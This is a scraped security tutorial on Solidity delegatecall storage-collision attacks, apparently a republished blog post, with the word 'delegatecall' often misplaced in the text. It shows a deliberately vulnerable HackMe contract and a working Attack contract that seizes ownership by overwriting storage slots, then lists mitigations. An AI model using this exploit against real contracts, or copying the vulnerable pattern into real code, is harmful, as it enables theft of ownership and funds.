attacks in are fundamentally an exploitation of the feature to manipulate contract storage slots. Despite their simplicity, these attacks involve vulnerabilities in the contract's logical design and storage slot distribution, and they remain common today. 🚨 delegatecall smart contracts delegatecall This highlights the need for careful consideration in the design of smart contracts, especially when using for inter-contract calls, as well as thorough testing and code auditing before deployment. In this article, I'll demonstrate a simple attack example and how to prevent such attacks. 🛡️ delegatecall delegatecall First, Let's Describe the Process of a Attack 🧐 delegatecall Alice deploys two simple contracts: a Lib contract and a HackMe contract. She uses a function in the HackMe contract to to a function in the Lib contract. This is common in scenarios like proxy contracts, upgradeable contracts, or modular contracts. The code is as follows: 👩💻 delegatecall // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; contract Lib { uint public someNumber; function doSomething(uint _num) public { someNumber = _num; } } contract HackMe { address public lib; address public owner; uint public someNumber; constructor(address _lib) { lib = _lib; owner = msg.sender; } function doSomething(uint _num) public { lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); } } The attacker, Eve, deploys a simple Attack contract with two key points. First, its storage layout must be identical to that of HackMe (we'll explain why later), and second, it must have a doSomething function with the same signature as in the Lib contract. The code is as follows: 👩🔬 contract Attack { // Make sure the storage layout is the same as HackMe // This will allow us to correctly update the state variables address public lib; address public owner; uint public someNumber; HackMe public hackMe; constructor(HackMe _hackMe) { hackMe = HackMe(_hackMe); } function attack() public { // override address of lib hackMe.doSomething(uint(uint160(address(this)))); // pass any number as input, the function doSomething() below will // be called hackMe.doSomething(1); } // function signature must match HackMe.doSomething() function doSomething(uint _num) public { owner = msg.sender; } } Eve deploys the Attack contract, passing in a HackMe contract instance in the constructor. This creates a reference to a HackMe contract pointing to the one deployed by Alice. 🌐 Eve then calls the Attack.attack function. Ethereum addresses are essentially 20-byte strings. The statement first converts the Attack contract's address to a uint160 type, then to a uint type, to match the expected parameter in the Lib contract. 🔄 hackMe.doSomething(uint(uint160(address(this)))); This calls the in HackMe, which in turn calls the doSomething function in Lib, aiming to modify the first state variable slot, slot 0, in HackMe. 🎯 lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); Due to 's nature, this modifies HackMe's slot 0 variable (lib) to the passed uint parameter (the Attack contract's address). 🔀 delegatecall The triggers a second to the now modified lib in HackMe, which is the Attack contract's doSomething function, not Lib's. 🔄 hackMe.doSomething(1); delegatecall This is why the storage layout in Attack must match HackMe, and the function signature in Attack must match Lib's doSomething. 🧩 The second actually calls the in Attack, modifying the second storage slot (slot 1) in HackMe to the caller's address. 🚚 delegatecall owner = msg.sender; Again, due to 's nature, even though the function in Attack is called, it modifies the corresponding slot (slot 1) in HackMe, changing its owner to the attacker, Eve. 🎩 delegatecall How to Prevent Such Attacks 🛡️ delegatecall This attack is simple but shows the need for cautious design in smart contracts to avoid unexpected storage overwrites and potential vulnerabilities. Based on the attack's principle, here are some ways to mitigate such risks: 🛠️ Maintain storage layout consistency between the contract using and the called contract. This avoids unintended storage overwrites due to layout mismatches. 🧱 delegatecall Use proxy contracts where the proxy contains little logic and forwards function calls via to another (implementation) contract. This pattern reduces storage vulnerability risks. 🌉 delegatecall Utilize well-established libraries like OpenZeppelin for safe proxy implementations. These libraries reduce coding and logical errors, offering community-validated best practices. 📚 Implement strict access control on contracts. Ensure only authorized addresses can call critical functions, especially those involving . 🔐 delegatecall Conduct thorough audits and testing before deployment and continuous monitoring and updating post-deployment, to fix vulnerabilities if found. 🔍 That's all for this discussion on vulnerabilities and security strategies. If you've made it this far, drop a like for the article! 👍 delegatecall Also published here.